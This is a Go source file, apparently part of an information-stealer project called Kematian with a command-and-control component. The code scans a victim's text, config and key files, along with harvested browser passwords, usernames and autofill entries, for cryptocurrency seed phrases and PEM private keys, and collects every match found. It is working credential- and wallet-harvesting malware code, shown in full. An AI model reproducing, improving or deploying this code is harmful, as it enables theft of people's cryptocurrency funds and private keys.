Files
kematianc2/Kematian-Standalone/native/recovery/scanner/seeds.go
T
2026-08-27 11:23:01 -06:00

275 lines
7.0 KiB
Go

package scanner
import (
"os"
"regexp"
"strings"
"recovery/recovery/types"
)
// BIP39-valid word counts
var validSeedLengths = map[int]bool{
12: true, 15: true, 18: true, 21: true, 24: true,
}
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
var seedScanFileExts = map[string]bool{
".txt": true, ".md": true, ".csv": true, ".tsv": true,
".log": true, ".rtf": true, ".json": true, ".xml": true,
".env": true, ".cfg": true, ".conf": true, ".ini": true,
".bak": true, ".old": true, ".tmp": true, ".note": true,
".doc": true, ".nfo": true, ".asc": true, ".key": true,
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
}
// contentScanExts are the text formats read during the file listing scan to
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
var contentScanExts = seedScanFileExts
// privateKeyRe matches PEM private-key header lines. The optional algorithm
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
// contentFileTags reads a small text file once and returns the security tags
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
// contains a PEM private-key header. Returns nil when the file is not a
// recognized text format or is too large to scan.
func contentFileTags(path, ext string, size int64) []string {
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var tags []string
content := strings.ToLower(string(data))
if looksLikeSeedLine(strings.Fields(content)) {
tags = append(tags, "seed")
} else {
for _, line := range strings.Split(content, "\n") {
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
tags = append(tags, "seed")
break
}
}
}
// PEM headers are case-sensitive, so match against the raw bytes.
if privateKeyRe.Match(data) {
tags = append(tags, "key")
}
return tags
}
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
// ScanSeeds searches collected data for BIP39 seed phrases.
// Checks file contents, password values, and autofill values.
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
seen := make(map[string]bool)
var results []types.SeedResult
// Scan files
for _, f := range files {
if f.Size > seedScanMaxFileSize || f.Size == 0 {
continue
}
if !seedScanFileExts[f.Ext] {
continue
}
data, err := os.ReadFile(f.Path)
if err != nil {
continue
}
for _, phrase := range extractSeedPhrases(string(data)) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "file",
Path: f.Path,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan passwords
for _, p := range passwords {
for _, phrase := range extractSeedPhrases(p.Password) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
for _, phrase := range extractSeedPhrases(p.Username) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan autofill values
for _, a := range autofill {
for _, phrase := range extractSeedPhrases(a.Value) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "autofill",
Path: a.Name,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
return results
}
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
func extractSeedPhrases(content string) []string {
if len(content) == 0 {
return nil
}
content = strings.ToLower(content)
var found []string
// Strategy 1: full content as one phrase (file contains only the seed)
if phrase := tryExtractPhrase(content); phrase != "" {
found = append(found, phrase)
return found
}
// Strategy 2: line-by-line (seed on one line)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if phrase := tryExtractPhrase(line); phrase != "" {
found = append(found, phrase)
}
}
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
if phrase := tryNumberedList(content); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
// Strategy 4: comma-separated words
if strings.Contains(content, ",") {
normalized := strings.ReplaceAll(content, ",", " ")
if phrase := tryExtractPhrase(normalized); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
}
return found
}
// tryExtractPhrase checks if text contains a valid seed phrase
func tryExtractPhrase(text string) string {
words := strings.Fields(text)
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
// Try sliding window for phrases embedded in longer text
for _, count := range []int{24, 21, 18, 15, 12} {
if len(words) < count {
continue
}
for i := 0; i <= len(words)-count; i++ {
window := words[i : i+count]
if isValidSeedPhrase(window) {
return strings.Join(window, " ")
}
}
}
return ""
}
// tryNumberedList extracts words from numbered list format:
// "1. abandon\n2. ability\n3. able\n..."
func tryNumberedList(content string) string {
lines := strings.Split(content, "\n")
var words []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
cleaned := numberedLineRe.ReplaceAllString(line, "")
cleaned = strings.TrimSpace(cleaned)
if cleaned == "" {
continue
}
// Each numbered line should have exactly one word
lineWords := strings.Fields(cleaned)
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
words = append(words, lineWords[0])
}
}
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
return ""
}
func isValidSeedPhrase(words []string) bool {
if !validSeedLengths[len(words)] {
return false
}
for _, w := range words {
if !isBIP39Word(w) {
return false
}
}
return true
}
// isBIP39Word checks if a word matches BIP39 characteristics:
// lowercase a-z only, 3-8 characters.
func isBIP39Word(w string) bool {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
return true
}
func containsPhrase(phrases []string, phrase string) bool {
for _, p := range phrases {
if p == phrase {
return true
}
}
return false
}